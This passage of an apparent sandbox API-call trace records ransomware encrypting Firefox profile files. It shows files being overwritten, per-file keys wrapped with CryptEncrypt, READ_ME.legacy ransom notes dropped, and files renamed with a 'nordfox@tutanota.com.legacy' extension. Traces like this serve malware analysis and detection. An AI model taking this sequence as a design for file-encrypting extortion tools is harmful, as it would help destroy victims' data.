returned 0x3b [0200.581] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.582] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.582] WriteFile (in: hFile=0x1c58, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.582] WriteFile (in: hFile=0x1c58, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.582] CloseHandle (hObject=0x1c58) returned 1 [0200.582] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0200.584] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0200.584] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata", dwFileAttributes=0x80) returned 1 [0200.584] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c58 [0200.585] GetFileSizeEx (in: hFile=0x1c58, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=46) returned 1 [0200.585] ReadFile (in: hFile=0x1c58, lpBuffer=0x574860, nNumberOfBytesToRead=0x2e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x574860*, lpNumberOfBytesRead=0x2e1f9bc*=0x2e, lpOverlapped=0x0) returned 1 [0200.585] SetFilePointer (in: hFile=0x1c58, lDistanceToMove=-46, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.585] WriteFile (in: hFile=0x1c58, lpBuffer=0x574b38*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x574b38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2e, lpOverlapped=0x0) returned 1 [0200.585] SetFilePointer (in: hFile=0x1c58, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2e [0200.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.586] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.586] WriteFile (in: hFile=0x1c58, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.586] WriteFile (in: hFile=0x1c58, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.586] CloseHandle (hObject=0x1c58) returned 1 [0200.586] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.588] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeffbe54, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x834fe03, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d4fb0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] FindNextFileW (in: hFindFile=0x30d4fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xeffbe54, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x834fe03, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] FindNextFileW (in: hFindFile=0x30d4fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x2e680c0, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2918063365piupsah.files", cAlternateFileName="291806~1.FIL")) returned 1 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.588] SetLastError (dwErrCode=0x0) [0200.588] GetLastError () returned 0x0 [0200.589] SetLastError (dwErrCode=0x0) [0200.589] SetLastError (dwErrCode=0x0) [0200.589] GetLastError () returned 0x0 [0200.589] SetLastError (dwErrCode=0x0) [0200.589] GetLastError () returned 0x0 [0200.589] SetLastError (dwErrCode=0x0) [0200.589] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c5c [0200.590] WriteFile (in: hFile=0x1c5c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.590] CloseHandle (hObject=0x1c5c) returned 1 [0200.591] FindNextFileW (in: hFindFile=0x30d4fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246c9b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x246c9b2, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4714894, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="2918063365piupsah.sqlite", cAlternateFileName="291806~1.SQL")) returned 1 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] GetLastError () returned 0x0 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] GetLastError () returned 0x0 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] FindNextFileW (in: hFindFile=0x30d4fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834fe03, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x834fe03, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x834fe03, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] GetLastError () returned 0x0 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] GetLastError () returned 0x0 [0200.591] SetLastError (dwErrCode=0x0) [0200.591] FindNextFileW (in: hFindFile=0x30d4fb0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x834fe03, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x834fe03, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x834fe03, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.592] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0200.592] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0200.592] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite", dwFileAttributes=0x80) returned 1 [0200.592] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c5c [0200.592] GetFileSizeEx (in: hFile=0x1c5c, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=49152) returned 1 [0200.592] ReadFile (in: hFile=0x1c5c, lpBuffer=0x30d5030, nNumberOfBytesToRead=0xc000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d5030*, lpNumberOfBytesRead=0x2e1f9bc*=0xc000, lpOverlapped=0x0) returned 1 [0200.606] SetFilePointer (in: hFile=0x1c5c, lDistanceToMove=-49152, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.607] WriteFile (in: hFile=0x1c5c, lpBuffer=0x30e1038*, nNumberOfBytesToWrite=0xc000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1038*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc000, lpOverlapped=0x0) returned 1 [0200.607] SetFilePointer (in: hFile=0x1c5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc000 [0200.607] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.607] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.607] WriteFile (in: hFile=0x1c5c, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.608] WriteFile (in: hFile=0x1c5c, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.608] CloseHandle (hObject=0x1c5c) returned 1 [0200.608] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.sqlite.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.610] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf722f14, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x83c244e, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d49b0 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] GetLastError () returned 0x0 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] GetLastError () returned 0x0 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] FindNextFileW (in: hFindFile=0x30d49b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xf722f14, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x83c244e, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] GetLastError () returned 0x0 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] GetLastError () returned 0x0 [0200.610] SetLastError (dwErrCode=0x0) [0200.610] FindNextFileW (in: hFindFile=0x30d49b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="818200132aebmoouht.files", cAlternateFileName="818200~1.FIL")) returned 1 [0200.610] SetLastError (dwErrCode=0x0) [0200.611] GetLastError () returned 0x0 [0200.611] SetLastError (dwErrCode=0x0) [0200.611] GetLastError () returned 0x0 [0200.611] SetLastError (dwErrCode=0x0) [0200.611] SetLastError (dwErrCode=0x0) [0200.611] GetLastError () returned 0x0 [0200.611] SetLastError (dwErrCode=0x0) [0200.611] SetLastError (dwErrCode=0x0) [0200.611] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c60 [0200.612] WriteFile (in: hFile=0x1c60, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0200.612] CloseHandle (hObject=0x1c60) returned 1 [0200.613] FindNextFileW (in: hFindFile=0x30d49b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ea7396, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea7396, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x971d956, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] GetLastError () returned 0x0 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] GetLastError () returned 0x0 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] FindNextFileW (in: hFindFile=0x30d49b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c244e, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x83c244e, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x83c244e, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] GetLastError () returned 0x0 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] GetLastError () returned 0x0 [0200.613] SetLastError (dwErrCode=0x0) [0200.613] FindNextFileW (in: hFindFile=0x30d49b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c244e, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x83c244e, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x83c244e, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0200.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0200.613] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0200.613] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite", dwFileAttributes=0x80) returned 1 [0200.614] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c60 [0200.614] GetFileSizeEx (in: hFile=0x1c60, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=122880) returned 1 [0200.615] ReadFile (in: hFile=0x1c60, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0x1e000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0x1e000, lpOverlapped=0x0) returned 1 [0200.619] SetFilePointer (in: hFile=0x1c60, lDistanceToMove=-122880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0200.619] WriteFile (in: hFile=0x1c60, lpBuffer=0x347c008*, nNumberOfBytesToWrite=0x1e000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x347c008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1e000, lpOverlapped=0x0) returned 1 [0200.620] SetFilePointer (in: hFile=0x1c60, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1e000 [0200.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0200.620] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0200.620] WriteFile (in: hFile=0x1c60, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0200.620] WriteFile (in: hFile=0x1c60, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0200.620] CloseHandle (hObject=0x1c60) returned 1 [0200.620] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0200.622] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\chrome\\idb\\2918063365piupsah.files\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x83e88e0, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x30d16b0 [0200.622] FindNextFileW (in: hFindFile=0x30d16b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e680c0, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2e680c0, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x83e88e0, ftLastWriteTime.dwHighDateTime=0x1d511a8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0200.622] FindNextFileW (in: hFindFile=0x30d16b0, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e88e0, ftCreationTime.dwHighDateTime=0x1d511a8, ftLastAccessTime.dwLowDateTime=0x83e88e0, ftLastAccessTime.dwHighDateTime=0x1d511a8, ftLastWriteTime.dwLowDateTime=0x83e88e0, 